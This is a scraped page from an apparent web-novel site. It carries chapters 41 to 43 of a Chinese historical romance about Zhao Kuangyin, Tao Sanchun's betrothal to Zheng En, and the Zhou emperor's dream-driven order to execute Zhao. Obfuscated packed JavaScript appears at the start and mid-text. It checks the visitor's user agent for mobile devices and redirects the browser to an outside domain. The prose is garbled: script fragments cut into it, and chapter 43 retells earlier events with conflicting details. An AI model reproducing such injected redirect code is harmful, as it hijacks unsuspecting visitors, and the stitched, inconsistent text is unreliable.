l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519306|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太方便。我得进去问问她的意思。” 赵匡胤点点头:“应该的,陶兄快去快回。” 陶龙起身往内堂走,心里却在打鼓:“苗道长说赵公子是贵人,要是妹妹能跟他扯上关系,往后咱们陶家说不定能有好日子过。可妹妹那性子,要是不愿意见,可怎么办?” 此时,陶三春正在自己的院子里练枪。她穿着一身青色的短打,头发束在脑后,手里的长枪耍得虎虎生风,枪尖划过空气,发出“呼呼”的声响。练完一套枪,她擦了擦额头上的汗,丫鬟小翠递过一条毛巾:“小姐,您歇会儿吧,刚才听见前院挺热闹的,好像来了贵客。” 陶三春接过毛巾,擦着脸说:“什么贵客?是不是昨天那个偷瓜贼的同伙来了?我哥就是太老实,这种人就该好好教训一顿,还请他们吃饭,真是没出息。” 正说着,陶龙就走进来了。陶三春皱着眉问:“哥,前院来的是谁?你怎么还请他们吃饭?那个偷瓜贼呢?” 陶龙拉着陶三春坐下,把去永宁集算卦的事,还有遇到赵匡胤的事,一五一十地说了一遍:“妹妹,那赵公子可不是普通人,他是东京赵弘殷将军的儿子,听说跟晋王柴荣还是拜把子兄弟,往后肯定能当大官。刚才他问起你,想跟你见一面,你看……” 陶三春愣住了:“赵弘殷的儿子?就是那个传说中能打遍关西无敌手的赵匡胤?” 陶龙点点头:“就是他!而且苗道长说了,他是贵人,咱们家的富贵全在他身上。你要是能见他一面,跟他处好关系,对咱们家有好处。” 陶三春心里也犯了嘀咕:“我早就听说过赵匡胤的名字,要是能跟他见一面,看看他是不是真像传说中那么厉害,也不错。可男女有别,我一个姑娘家,直接去前院见他,会不会不太好?” 陶龙赶紧说:“有什么不好的?赵公子是正人君子,又不是那种轻薄之人。再说了,他是来跟你道歉的,你要是不去,反而显得咱们没礼貌。” 陶三春想了想,觉得陶龙说得有道理:“行,那我就去见见他。不过你得跟我一起去,别让他觉得我随便。” 陶龙高兴得赶紧点头:“好!咱们现在就去。” 两人来到前院大厅,陶龙先跟赵匡胤说了一声,然后把陶三春引到厅里。赵匡胤抬头一看,心里“咯噔”一下——只见陶三春中等身材,皮肤是健康的小麦色,脸上没施粉黛,眉毛又粗又黑,眼睛倒是亮,可比起寻常姑娘的娇柔,多了几分粗犷。身上穿着青色短打,手里还攥着条毛巾,一看就是刚练完武。 赵匡胤心里暗叹:“可惜了,可惜了!这么好的武艺,偏偏长了这副模样。我本来还想把她介绍给我弟弟匡义,匡义文韬武略,配个女中豪杰正好,可她这相貌,匡义肯定看不上……” 陶三春对着赵匡胤拱了拱手:“赵公子,昨天是我不对,不该随便捆你的兄弟,还请你别往心里去。” 赵匡胤赶紧回礼:“陶姑娘客气了,是我兄弟不对在先,偷瓜还打人,该受教训。姑娘能有这么好的武艺,真是女中豪杰,我佩服得很。” 客套了几句,陶三春就回后院了。赵匡胤看着她的背影,心里又盘算起来:“这陶三春武艺好,性子烈,要是能给郑恩做媳妇,正好能管管郑恩的鲁莽脾气。郑恩长得黑,性子粗,跟陶三春倒是挺配——而且陶家兄弟是老实人,往后郑恩有他们帮衬,也能少惹点事。” 想到这儿,赵匡胤放下酒杯,跟陶龙说:“陶兄,我有个想法,不知当讲不当讲。你妹妹这么好的武艺,又这么有胆识,寻常男子肯定配不上她。我这兄弟郑恩,虽然性子粗了点,但也是条好汉,走遍江湖没怕过谁,而且跟晋王柴荣是拜把子兄弟,往后肯定能封官。要是你不嫌弃,我想做个媒,把你妹妹许配给郑恩,你看怎么样?” 陶龙一听,心里又惊又喜——惊的是赵匡胤居然要给郑恩说媒,喜的是郑恩跟晋王有关系,往后能封官,要是妹妹嫁给他,自己就是官亲了!可他又不敢做主,只好说:“赵公子,这可是大事,我做不了主,得跟我妹妹商量商量。” 赵匡胤笑着说:“应该的,你跟陶姑娘好好说说,她是个有见识的人,肯定知道这是桩好姻缘。” 陶龙赶紧起身,往后院走。他心里早就乐开了花:“要是这门亲事能成,咱们陶家就能跟着沾光,我也能当个官亲,再也不用怕庄外的毛贼了!就是不知道妹妹愿不愿意……” 陶龙走进陶三春的院子,见她正在跟小翠整理枪杆,赶紧把赵匡胤说媒的事说了一遍。陶三春听完,脸一下子红了——她长这么大,还没人跟她说过亲呢。 她皱着眉说:“郑恩?就是那个偷瓜的黑大个?我才不要嫁给他!” 陶龙赶紧劝:“妹妹,你别光看他现在这样,他跟晋王柴荣是拜把子兄弟,往后肯定能当大官。而且他是赵匡胤的兄弟,赵匡胤是什么人?那是贵人!咱们跟他攀上关系,往后谁还敢欺负咱们陶家?再说了,郑恩虽然粗,但是条好汉,跟你一样会武艺,你们俩在一起,肯定能合得来。” 陶三春心里也动摇了——她早就想找个能跟自己并肩作战的丈夫,郑恩虽然鲁莽,但也是条汉子,而且有赵匡胤和晋王做靠山,往后的日子肯定不会差。她想了想,小声说:“我……我再想想。你先去跟赵公子说,别让他着急。” 陶龙见她没直接拒绝,心里高兴极了:“好!我这就去跟赵公子说。” 回到前院,陶龙跟赵匡胤说:“赵公子,我妹妹说她再想想,不过看她的意思,应该是愿意的。” 赵匡胤笑着说:“好!这事不急,咱们慢慢等。只要陶姑娘点头,这门亲事我肯定办得风风光光的。” 此时,太阳已经落山,院子里点起了灯笼。郑恩还不知道赵匡胤在给她撮合亲事,只顾着跟张光远、罗彦威喝酒,嘴里还念叨着:“明天我非得找那个陶三春再打一场,把昨天丢的面子找回来!” 赵匡胤听着,心里暗笑:“黑厮啊黑厮,等你知道要娶陶三春,不知道会是什么反应……” 至于陶三春会不会答应这门亲事,陶龙能不能当成官亲,赵匡胤往后又会遇到什么事——咱们下回再接着说。 42. 第 42 章 话说陶龙听赵匡胤说要把妹妹陶三春许配给郑恩做妻子,心里先犯了嘀咕——郑恩那模样粗憨,性子又直,妹妹三春可是文武双全的烈性女子,这俩人能合得来吗?可转念一想,赵匡胤说郑恩是柴王的患难兄弟,日后柴王要是得了天下,郑恩保准能封王,这富贵前程摆在眼前,又不由得动了心,便转身往后院去跟妹妹商量。 前院这边,郑恩坐在席上,听赵匡胤当众替自己说媒,脸一下子涨得跟熟透的柿子似的,又羞又怕,半天说不出一句完整话。他偷偷拿眼瞟赵匡胤,一个劲儿地摇头,那意思再明白不过:“二哥,你可别坑我!”赵匡胤早看穿了他的心思,走过去拍了拍他的肩膀,声音不大却透着笃定:“三弟,你可别嫌三春姑娘性子烈、模样不够娇柔。你没瞧见她刚才在后院练剑的模样?剑光能绕着树干转三圈,说起兵书来更是头头是道,这等有丈夫胸襟的女子,世上难找。你俩要是成了亲,日后她定能帮你不少忙,愚兄这是为你好,绝无差错。”郑恩被说得没了脾气,只好耷拉着脑袋,嘴抿得紧紧的,一句话也不敢反驳。这情景,活脱脱是: 怕她年轻力壮性子刚,哪敢盼着妇随夫唱。 咱先不说前院的事,单说陶龙走进后院厢房。三春刚练完剑,正让丫鬟春桃帮着擦汗,见哥哥进来,忙放下手里的布巾迎上去,让座倒茶:“哥,你怎么从前院过来了?是不是客人们有什么事?”陶龙喝了口茶,定了定神,才开口:“妹妹,哥有件关乎你终身的大事,想跟你商量,就看你愿不愿意了。”三春听说是终身大事,也坐直了身子:“哥你尽管说,只要是该做的事,妹妹绝不含糊。” 陶龙叹了口气,慢慢说道:“你也知道,男大当婚女大当嫁,这是老祖宗传下来的规矩。自从爹娘走后,我和你两个哥哥就想着给你找个好人家,可挑来挑去,不是家世不般配,就是人品不称心,一直没敢定下来。今天前院的赵公子——就是跟柴王交好的那位赵匡胤,他主动提出来要给你做媒。这婚姻是一辈子的事,我不敢替你做主,所以来问问你的意思。” 三春心里一动,追问:“哥,他说的是哪家的公子?”陶龙有点犹豫,顿了顿才说:“你听了可别生气——他说的是他的兄弟,叫郑恩,就是上次在瓜园里跟你起过争执的那个壮汉。”要说这陶三春,生来就有王妃的福气,注定要跟郑恩成为夫妻,冥冥之中似有天意牵线。她听了“郑恩”两个字,不但没发火,反而嘴角轻轻挑了一下——她想起瓜园里郑恩被自己打得抱头鼠窜,却没敢还手的模样,心里竟有几分异样。她看着陶龙,平静地说:“赵公子要把郑恩许配给我,哥你心里肯定早就有主意了,不妨直说。” 陶龙见妹妹不恼,松了口气:“实话说,我一开始也觉得这门亲事不妥。可赵公子说了不少好话,说郑恩是当世豪杰,在关西一带名声不小,又跟禅州的柴千岁是过命的兄弟。日后柴王要是登基,郑恩必定能封王。赵公子也是看在这层关系上,才来给你说媒。妹妹你好好想想,愿意就愿意,不愿意就回绝,定了主意,我好去回覆人家。” 三春低头琢磨了片刻,忽然轻笑一声:“哥,这都是前世定好的缘分,我也不想强拗。既然赵公子肯做媒,哥你又觉得可行,我哪能固执己见,耽误自己一辈子呢?不过我有个条件,哥你得跟赵公子说清楚,他要是答应,我就应下这门亲。”陶龙赶紧问:“妹妹你有啥条件?尽管说,我去跟赵公子谈。”三春眼神亮了亮,语气坚定:“你跟赵公子说,亲事我应了,但我陶三春就在家等着,只给郑恩三年时间。这三年里,他要是能挣下王位,就来娶我;要是没这个本事,就别再来找我。今天把话说明白,免得日后有闲话。” 陶龙赶紧应下来,转身回到前院,把三春的条件一五一十地告诉了赵匡胤。赵匡胤听完,忍不住拍手叫好:“好一个有志气的烈性女子!既有眼光又有见识,日后的福气定然不小!”说着,他从腰上解下一块碧玉鸳鸯佩,递给陶龙:“这是我兄弟郑恩的定礼,你先收下。日后我兄弟要是真能显贵,必定按三春姑娘的约定,来迎娶她,绝不耽误。”陶龙连忙道谢,收下玉佩。又让人重新整治了酒菜,宾主几人开怀畅饮,一直喝到天黑才散席。 赵匡胤起身告辞,陶龙兄弟俩再三挽留,见实在留不住,便让人牵来一匹壮马,送给郑恩当坐骑。四人谢过陶龙,下了厅堂,出了庄门,各自上马。陶龙站在庄门口,高声嘱咐:“赵公子,你们路上多保重!日后要是得了富贵,可别忘了今天的约定,别让我妹妹等得白头啊!”赵匡胤回头笑道:“你放心,婚姻大事关乎名节,我既然当了媒人,就绝不会失信。咱们就此别过,不用送了。”说罢,四人打马离去,陶龙目送他们走远,才转身回庄。有诗为证: 偶然寻水解渴浆,却因口腹起祸殃。 幸得老天来撮合,一句话定百年良。 再说赵匡胤、郑恩他们四人,打马往东走,约莫走了二十多里路,才到了军营。下了马进了营帐,一看时辰,已经是初更天了。赵匡义跟赵普早就等着他们,见四人回来,赶紧迎上去问长问短。赵匡胤把在陶家庄说媒的事,从头到尾说了一遍。赵匡义一听,立马拉住郑恩的胳膊,笑着打趣:“恭喜三哥!这可是天大的好事!不过我得提醒你,等日后成了亲,晚上上床可得小心点,三春嫂子的拳头可不轻,别再跟瓜园似的,又挨一顿揍!” 张光远在一旁帮腔:“嗨,你这话说的!三春嫂子看着烈性,其实心里有数。等她见了三哥这憨厚模样,又这么体贴人,疼还来不及呢,哪舍得动手?”众人你一言我一语,说得郑恩的脸从脖子红到了耳根,他急得挠了挠头,嘟囔道:“都怪二哥!我根本没这心思,是他硬要给我说媒!”众人听了,笑得更欢了,一直闹到三更天,才各自回房歇息。这一夜无话,转眼到了第二天。 第二天一早,柴娘娘的车驾就准备启程。柴荣领着士兵在前面开路,赵匡胤带着兄弟们,还有韩素梅母子跟在后面。一路上,要是有新鲜事就多说说,没新鲜事就长话短说。走了十几天,眼看离东京越来越近,先行的探马早就把消息传回了朝中。文武百官赶紧出城迎接,一个个跪在路边,齐声喊道:“娘娘千岁!臣等恭迎娘娘回朝!” 柴后坐在车里,听见外面的声音,轻声说道:“众卿平身吧。”文武百官谢过恩,站起身,分列在道路两旁。车驾进了城门,过了正阳门,到了五凤门外,早就等着的内侍们赶紧推来宫里的御辇。柴荣亲自扶着柴后下了车,陪着她坐上御辇,一起进宫。 引路的司礼监走在前面,穿过分宫楼,到了更衣殿。柴后下了御辇,早有掌印的李公公带着宫女迎上来。李公公手里捧着八套宫里的礼服,笑着说:“娘娘,这是陛下特意让人给您备的新礼服,您快换上吧。”宫女们忙上前伺候,不一会儿就给柴后换好了衣服。您瞧她这模样: 五凤珠冠上镶嵌着朵朵宝石云纹,戴在头上,尽显正宫娘娘的尊贵;身上穿的日月龙凤袄,绣得栩栩如生,仿佛龙凤要从衣服上飞出来;腰间系着山河社稷裙,裙摆垂到地上,走路时轻轻摇曳;束腰的玉带是用美玉雕琢的,玲珑剔透;脚上的宫鞋绣着珍珠,一步一闪光;手里拿着斩妃剑、昭阳印,还有象牙朝板,这模样,真是威严又端庄。 柴后换好衣服,重新坐上御辇,往寝宫去。一路上,她看着宫里的亭台楼阁,雕梁画栋,心里不禁感慨——这宫里的富贵,果然不是外面能比的。到了寝宫门口,柴后下了御辇,宫女们簇拥着她往里走,只见周主正坐在龙床上等着。柴后刚要跪下行礼,周主赶紧从龙床上下来,一把扶住她,声音温和:“御妻,你我夫妻一场,同甘共苦这么多年,不用行这么大的礼。”柴后谢过周主,挨着他坐在御榻上。柴荣走上前,给周主和柴后磕了头,请了安,周主笑着让他坐在旁边。 夫妻二人拉着手,说起了分别后的事。柴后叹了口气:“我在禅州的时候,常听说陛下打胜仗的消息,后来又听说陛下登基,心里别提多高兴了。可惜我后来得了场小病,多亏了侄儿柴荣日夜伺候,端汤送药,我才好起来。”周主听了,看着柴荣,满脸欣慰:“辛苦你了,孩子。”柴荣连忙说:“这是臣应该做的,不敢说辛苦。” 周主又转头对柴后说:“御妻,你我都老了,身边又没有孩子。我看柴荣这孩子,不仅模样周正,性子也稳重,是个能担大事的人。我想把他认作自己的儿子,以后把江山托付给他,你觉得怎么样?”柴后一听,眼睛亮了:“陛下的想法,跟我不谋而合!这可是国家和百姓的福气啊!”说着,就把周主的意思告诉了柴荣。 柴荣赶紧站起身,推辞道:“臣无德无能,实在担不起这么重的担子,还请陛下收回成命。”柴后拉着他的手,劝道:“孩子,这是陛下的心意,你就别推辞了,快给陛下磕头谢恩吧。”柴荣不敢违抗,只好跪下给周主磕了头,正式认了周主和柴后做父母。周主心里大喜,立刻传旨,在宫里摆宴,一家三口围坐在一起,喝酒聊天,其乐融融。 喝到一半,柴荣站起身,对周主说:“父王,儿臣有件事想跟您说。”周主放下酒杯:“你说吧,什么事?”柴荣说道:“儿臣有个故友,名叫赵匡胤。他文武双全,又有谋略,是个能辅佐国家的栋梁之才。希望父王能重用他,这样国家就能更稳固,天下也能太平。”周主点点头:“既然是你推荐的人,想必是个贤才。明天早朝,我把他宣来,看看他的本事,再封他官职。”柴荣连忙谢恩,又坐回席上。三人又聊了些古今往事,一直到三更天,才各自歇息。正是: 宫里欢聚情意浓,天下百姓皆拥戴大周。 第二天一早,赵匡胤他们几个起来后,张光远和罗彦威就各自回家了。赵匡胤也想着回家看看父母,只有郑恩和赵普留在柴荣的王府里。赵匡胤骑着马,心里又激动又忐忑——离开家这么久,不知道爹娘身体怎么样了。到了家门口,他翻身下马,推开大门,一眼就看见爹娘正坐在院子里。 赵匡胤赶紧跑过去,跪在地上,眼泪一下子就流了出来:“爹,娘,不孝儿回来了!当年我惹了大祸,四处逃难,没能在您二老身边尽孝,还让你们担惊受怕,求爹娘原谅我!”赵弘殷——也就是赵匡胤的父亲,当年因为赵匡胤杀了御乐,被汉主追责,只好辞了官回家,一家人差点性命不保。后来换了新朝,以前的罪才算免了,这才安稳下来。如今见赵匡胤回来,想起当年的事,心里还有气,忍不住骂道:“你这个逆子!我还以为你早就死在外面了,没想到你还敢回来!” 杜夫人——赵匡胤的母亲,赶紧拉着赵弘殷的胳膊劝道:“老爷,你别生气了。孩子既然回来了,就说明他知错了,以后肯定会改的。”又转头对赵匡胤说:“儿啊,你这些年在外面哪里落脚?娘天天盼着你回来,吃也吃不好,睡也睡不好。今天总算把你盼回来了,快跟娘说说,你在外面都经历了些什么?” 赵匡胤擦干眼泪,跪着说道:“娘,当年我杀了御乐,只好往关西逃,本来想去找我舅舅。路上遇见了柴荣,就是现在新王的养子,我们俩拜了兄弟,后来我就跟着柴娘娘的车驾一起回了京。”杜夫人连忙问:“那你到了关西,见到你舅舅了吗?”赵匡胤叹了口气:“娘,别提了。我大舅舅早就去世了,后来我在千家店遇见了外婆和二舅舅,还跟他们一起住了些日子……”接着,他就把在外面的经历,从杀御乐到遇柴荣,再到陶家庄说媒,一五一十地说了一遍。 杜夫人听了,心里的石头落了地,脸上露出了笑容。这时候,赵匡胤的弟弟赵匡美从屋里跑出来,一把拉住赵匡胤的手,小声说:“哥,你终于回来了!我好想你,你在外面有没有挨饿受冻?”说着,还跑去给赵匡胤端了杯温水。赵弘殷看着小儿子跟赵匡胤亲近的模样,脸色稍微缓和了些。杜夫人趁机说:“老爷,你看匡胤在外面也没闯祸,还帮着柴娘娘,这也是立了功的。孩子知错了,你就别再骂他了。”赵弘殷哼了一声,对赵匡胤说:“如今新君在位,我已经不想当官了,就想在家安安稳稳过日子。你既然回来了,以后就别再惹事,跟你弟弟在家好好读书练功夫,别再让我担心。”赵匡胤连忙点头:“爹,我记住了,以后绝不再惹事。”当天一家人团聚,倒也安稳,这里就不多说了。 咱们再说说军师王朴。之前王朴因为年迈的母亲需要照顾,辞了官回家尽孝。没想到母亲年纪太大,没过多久就去世了。王朴悲痛万分,按照最隆重的礼节给母亲办了丧事,之后就留在家里守孝。周主听说王朴母亲去世的消息,特意派了官员带着御膳去祭奠,还赐了匾额表扬王朴的孝心,又下了诏书,召王朴回京城,辅佐朝政。 王朴本来不想回朝,可他这些天夜观星象,发现紫微星旁有煞星干扰,知道真主(指后来的赵匡胤)要有难,心想这正是回朝救人的好机会,于是就跟着来传旨的官员一起回了京。同行的还有他的门生吴敬,路上吴敬不解地问:“先生,您不是说想在家守孝吗?怎么又愿意回朝了?”王朴望着天上的星星,轻声说:“我观星象,见紫微星有难,真主恐遭不测。那赵匡胤虽是应劫之人,却也是能安定天下的人,我必须回朝,帮他渡过这一关。”吴敬听了,才明白老师的心思。 到了京城,王朴立刻进宫朝见周主。周主一见王朴,高兴得从龙床上站起来,亲自走下台阶,伸手扶起他,还让人搬来金墩子让他坐:“先生,自从你走后,我就像少了左右手一样,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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殿上的侍卫不敢怠慢,赶紧跑下殿,把赵匡胤捆了起来。赵匡胤被绑得结结实实,脑子一片空白,魂都快吓飞了——他根本没在禅州射过周主啊!这到底是怎么回事?他心里又慌又乱,就像: 地上突然跳出金钱豹,天上骤然落下大鹏雕,让人措手不及。 侍卫把赵匡胤押出朝门,等着周主的旨意。柴荣见周主突然发火,要斩赵匡胤,心里又急又懵——这到底是怎么回事?他赶紧跪在龙案前,磕头问道:“父王,您为什么一见到赵匡胤就生气,还要把他绑起来,抓他的家人?他到底犯了什么罪,惹您这么生气?” 周主怒气冲冲地说:“孩儿你不知道!前几天我在宫里没事,打了个盹,梦见自己去了禅州。没想到这个红脸贼在城上偷偷放箭,射伤了我的左眼,现在我的眼睛还疼,时不时流眼泪。今天总算见到他了,一定要杀了他,才能解我心头之恨!” 柴荣连忙劝道:“父王,那只是个梦啊,怎么能当真呢?再说赵匡胤文武双全,又有忠义之心,重用他对国家有好处,所以儿臣才敢推荐他。现在您因为梦里的事,就要杀一个无辜的人,赵匡胤就算死了,心里也不会服气的。求父王三思啊!” 周主哼了一声:“我明明看见他在城上射我,看得清清楚楚!这个仇我记了这么久,今天怎么可能放过他!”柴荣又磕了个头,急切地说:“父王,就算您现在很生气,非要杀赵匡胤,他也不敢反抗。可儿臣担心,您这么做会堵了贤才的路。天下的英雄要是听说您因为一个梦就杀无辜的人,肯定会害怕,不敢来京城求功名。到时候他们去了别的国家,帮着敌人对付咱们,天下就会动荡不安,这可怎么办啊?求父王以国家为重,忘了梦里的恩怨,饶了赵匡胤,重用他。这样天下的贤才都会来投奔您,帮您治理国家啊!” 周主脸色一沉:“你说梦里的事是假的,可我的眼睛现在还疼,这难道也是假的?你别的话我还能听,这件事你别再劝了!我已经决定了,谁也别想改变!侍卫,赶紧去查赵匡胤的家人,查清楚了立刻回奏!” 柴荣见周主不听劝,心里更急了,眼泪都快下来了,又连连磕头:“父王,赵匡胤绝对不能杀啊!禅州离京城有两千多里,您凭着一个梦,就杀一个无辜的人,天下人怎么会相信您?现在您刚登基不久,天下还没太平,外面的诸侯都在观望,有的还想着造反。南唐的李景不承认咱们大周,塞北的契丹经常来侵犯边境,晋阳的刘崇还自己称帝,招兵买马,说要给汉主报仇,时不时来骚扰咱们。现在正是需要贤才的时候,赵匡胤熟读兵书,精通谋略,能打仗会用兵,这样的人才,天下难找第二个。您怎么能因为一个虚无缥缈的梦,就杀了他呢? 儿臣听说,当年齐桓公忘了管仲射他衣带钩的仇,把管仲从堂阜救回来,重用他当宰相,最后让齐国强大起来;雍齿多次欺负汉高祖,后来汉高祖还封他为侯,这样天下的贤才才都来投奔他。那些人是真的犯了错,还能被原谅,父王您为什么就不能原谅赵匡胤呢?求父王开恩,就算赵匡胤真的犯了错,看在国家的份上,饶他一命。他肯定会尽心竭力,报答您的恩情,就像管仲辅佐齐桓公一样啊!” 周主被柴荣说得心烦,脸色更难看了:“我跟你是父子,那个红脸贼射伤我,你应该帮我报仇才对,怎么反而帮他说话?你是不是胳膊肘往外拐,有什么别的心思?”柴荣连忙说:“父王,儿臣怎么会有外心呢?儿臣只是觉得赵匡胤是个难得的人才,想让他帮您保住江山,所以才敢不顾嫌疑,求您饶他一命。求父王就饶了他吧!” 周主不耐烦地说:“你别再劝了!我朝有很多良将,兵力也强,就算没有这个红脸贼,我也能坐稳江山,治理好天下!”柴荣见周主死活不松口,急得浑身冒汗,却想不出别的办法。 就在这时候,殿上突然走出一个大臣,跪在地上,高声说道:“陛下,臣有句话想说,求陛下听听。”周主抬头一看,原来是刚回朝的王朴,便问道:“先生,你有什么话要说?” 王朴从容地说:“陛下,赵匡胤犯的‘罪’,说到底是您梦里的事,没法当众说清楚。您现在在气头上,要是杀了赵匡胤,汴梁的百姓肯定会疑惑——赵匡胤到底犯了什么罪,要被立刻处死?就连赵匡胤自己,也不知道自己为什么要死。臣觉得,这种说不清道不明的事,不能随便用刑。不如陛下就听晋王的话,把赵匡胤交给晋王,让晋王问清楚情况,录下口供,再告诉百姓。这样大家就知道赵匡胤是因为暗中行刺、射伤陛下才被定罪的,赵匡胤就算死了,也不会有怨言。这既能服众,又能遵守国法,是最妥当的办法。求陛下答应。” 周主听了王朴的话,低下头,皱着眉头琢磨起来——王朴说得有道理,要是就这么杀了赵匡胤,确实没法向百姓交代。可要是饶了他,自己心里的气又咽不下。这一来,周主心里就犯了难。 正是: 反复劝谏暂消心中恨,巧妙周旋化解眼前危。 到底周主会不会听王朴的话,饶了赵匡胤呢?咱们下回再接着说。 43. 第 43 章 话说后周的皇帝郭威,最近总被一个噩梦缠得心神不宁——那天夜里,他梦见赵匡胤穿着明黄色的龙袍,大摇大摆走进金銮殿,伸手就把他案头的玉玺抢了过去,还笑着说“这天下该换主人了”。梦醒后,郭威冷汗湿透了龙袍,越想越怕,也越想越恨:赵匡胤这小子平时就勇猛过人,手下兄弟又多,万一真有反心,自己这皇位岂不是坐不稳? 这天早朝,郭威把龙椅拍得震天响,当着满朝文武的面喊:“把赵匡胤拉出去斩了!再把他全家都抓起来问罪,省得留着他日后作乱!” 底下的晋王柴荣一听,吓得赶紧跪下来,膝盖在金砖上磕得“咚咚”响:“姑父!赵匡胤向来忠心耿耿,您可不能凭一个梦就杀了他啊!要是传出去,天下人该说您昏庸了!” 郭威脸一沉,眼睛瞪得像铜铃:“朕的话你也敢反驳?这小子有反骨,留着就是祸患!”任凭柴荣怎么求情,郭威就是不松口。 这时候,枢密院的王朴往前站了一步,躬身说道:“陛下,臣有句话要说。赵匡胤的罪名还没查清,要是就这么贸然杀了他,文武百官心里会不服,百姓也会议论。不如先把他交给晋王,让晋王把他的‘罪状’一条条列出来,公之于众,到时候再定罪,这样才名正言顺啊。” 郭威盯着王朴看了半天,心里琢磨:王朴向来稳重,他说的也有道理,要是真杀错了人,寒了将士的心可不好。于是他点了点头:“王先生说得对。那就把赵匡胤交给柴荣,让他好好审审,审完了再奏给朕。” 王朴和柴荣赶紧谢恩,退出大殿。殿外的金钟“当、当、当”响了三下,郭威起驾回宫。柴荣拉着王朴的手,一个劲地道谢:“王先生,今天多亏了你,不然二弟可就没命了!”王朴笑着说:“晋王不必客气,赵匡胤是难得的将才,杀了太可惜了。”说完,两人各自散去。 柴荣急匆匆赶到法场的时候,赵匡胤双手被绑在柱子上,脖子上的刀都快贴到皮肤了。柴荣大喊:“刀下留人!”刽子手赶紧收刀,柴荣让人解开绳子,拉着赵匡胤就往王府走。 到了王府客厅,赵匡胤把朝堂上的事说了一遍,旁边的赵普吓得手里的茶碗都掉在了地上,脸色惨白:“这可怎么办?陛下现在正在气头上,万一不肯松口……” 郑恩性子急,一听就拍了桌子,脸红脖子粗地喊:“大哥!你是晋王啊!跟陛下求个情,放了二哥不就完了?你怎么还让二哥受这罪!” 柴荣叹了口气,坐在椅子上揉着太阳穴:“我怎么没求情?姑父根本不听,要不是王先生帮忙,二弟今天就真没了。” 郑恩还要说什么,被赵普拉住了。赵普对赵匡胤说:“公子别担心,现在陛下正在气头上,要是再急着求情,反而会让陛下更生气。王先生让陛下把您交给晋王,这其实是缓兵之计——咱们有时间想办法,等陛下气消了,晋王再慢慢劝,肯定能保住您。” 柴荣也赶紧说:“二弟,你先别急,回家安慰安慰伯父伯母。我这几天就去宫里找姑母帮忙,肯定能给你求来赦免的圣旨。” 赵匡胤是个硬脾气,眼里容不得半点委屈,他挺直腰板说:“大哥,我现在是朝廷钦犯,要是回了家,万一有人说我跑了,连累你怎么办?生死有命,我不怕死,你别为了我为难。” 正在这时,王府的幕僚王彦走了进来,手里拿着一张纸条:“晋王,刚才宫里的人来报,说皇后娘娘知道您为了赵公子的事着急,让您别太上火,她会帮着劝陛下的。” 柴荣一听,心里松了口气,赶紧让人备酒,给赵匡胤压惊。四个人坐在桌子旁,赵匡胤表面上有说有笑,心里却在琢磨:陛下因为一个梦就想杀我,以后在朝廷里怕是不好立足了。郑恩还在抱怨陛下太固执,赵普则在一旁盘算着怎么找更多大臣帮忙求情,柴荣心里却七上八下的,怕明天跟陛下复旨的时候,陛下又变卦。 另一边,赵府的家人赵福打听清楚宫里的事,气喘吁吁地跑回家,对着赵弘殷和杜夫人喊:“老爷!夫人!不好了!公子被陛下抓了,要杀他!” 赵弘殷本来正在看兵书,一听这话,书“啪”地掉在地上,手都抖了:“怎……怎么会这样?匡胤昨天还好好的,怎么突然就犯了死罪?” 杜夫人一听,眼前一黑,“哎呀”一声就倒了下去。赵弘殷赶紧抱住她,掐着她的人中,好一会儿杜夫人才醒过来,眼泪像断了线的珠子一样往下掉:“我的儿啊!你好不容易从外面回来,怎么就遭了这祸?我还指望你给我养老送终,现在可怎么办啊!” 赵弘殷扶着杜夫人坐在椅子上,刚想劝两句,老管家赵忠跪在地上说:“老爷,晋王派了个差官来,说让您和夫人别担心,五六天之内肯定有赦书下来,公子不会有事的。差官还在外面等着见您呢。” 赵弘殷皱了皱眉:“我是后汉的臣子,没接受新朝的官爵,不能见他。匡义,你去见见差官,跟他说我病了,没法道谢。你再去王府看看你大哥,问问他到底怎么样了,早点回来。” 赵匡义点点头,赶紧去前厅见差官。两人骑着马到了王府,赵匡义见到柴荣,赶紧行礼:“多谢晋王哥哥照顾我大哥,我父亲让我来道谢。” 柴荣拉着他的手说:“贤弟别客气,你大哥是我兄弟,我肯定会保住他。你回去告诉伯父伯母,让他们放心。” 赵匡义跟赵匡胤说了几句话,叮嘱他好好保重,就匆匆回家了。 这边王府里,柴荣虽然陪着赵匡胤喝酒,心里却像压了块石头,一口酒都咽不下去。眼看天快黑了,柴荣站起来说:“二弟,我先回房了,明天还要跟姑父复旨。”赵匡胤知道他心里着急,点了点头:“大哥别太担心,我没事。” 柴荣回了房,坐在床边发呆。他想:明天怎么跟姑父说?要是姑父还坚持要杀二弟,我该怎么办?他翻来覆去睡不着,听着外面谯楼的鼓声,从一更到二更,再到三更,越想越愁,眼泪都快掉下来了:“我当初把二弟推荐给姑父,是想让他为国家出力,没想到反而害了他。要是二弟真死了,我怎么对得起黄土坡的结拜之情?” 就这样熬到天亮,柴荣眼睛红得像兔子,脸也瘦了一圈,根本没力气上朝。他赶紧让侍从李忠写了个奏折,说自己病了,没法上朝。 郭威看到奏折,心里很着急,赶紧退朝回宫,跟柴皇后说了。柴皇后也担心柴荣,赶紧传旨让太医院的太医去王府看病,还让贴身太监李公公去问安。 柴荣见了李公公,赶紧拉着他的手说:“李公公,求您跟皇后娘娘说,让她在陛下面前求求情,放了赵匡胤吧。要是姑父能饶了二弟,我病马上就好。” 李公公点点头:“晋王放心,我一定把您的话带给皇后娘娘。” 柴皇后听了李公公的话,赶紧劝郭威:“陛下,柴荣病了,都是因为担心赵匡胤。赵匡胤是个难得的将才,现在国家正是用人的时候,要是杀了他,谁来帮您打仗?您就饶了他吧。” 郭威本来就有点动摇,听柴皇后这么一说,杀赵匡胤的心思又少了一半。他传旨:“把赵匡胤暂时关在天牢里,等晋王病好了,再定罪。” 柴荣接到旨意,又高兴又担心——高兴的是赵匡胤暂时安全了,担心的是天牢里条件差,怕二弟受苦。他想了个办法,表面上把赵匡胤送到天牢,暗地里却让人把赵匡胤接回王府,藏在书房后面的小院里。柴荣是晋王,又有柴皇后撑腰,朝廷里的人都不敢得罪他,没人敢说闲话。 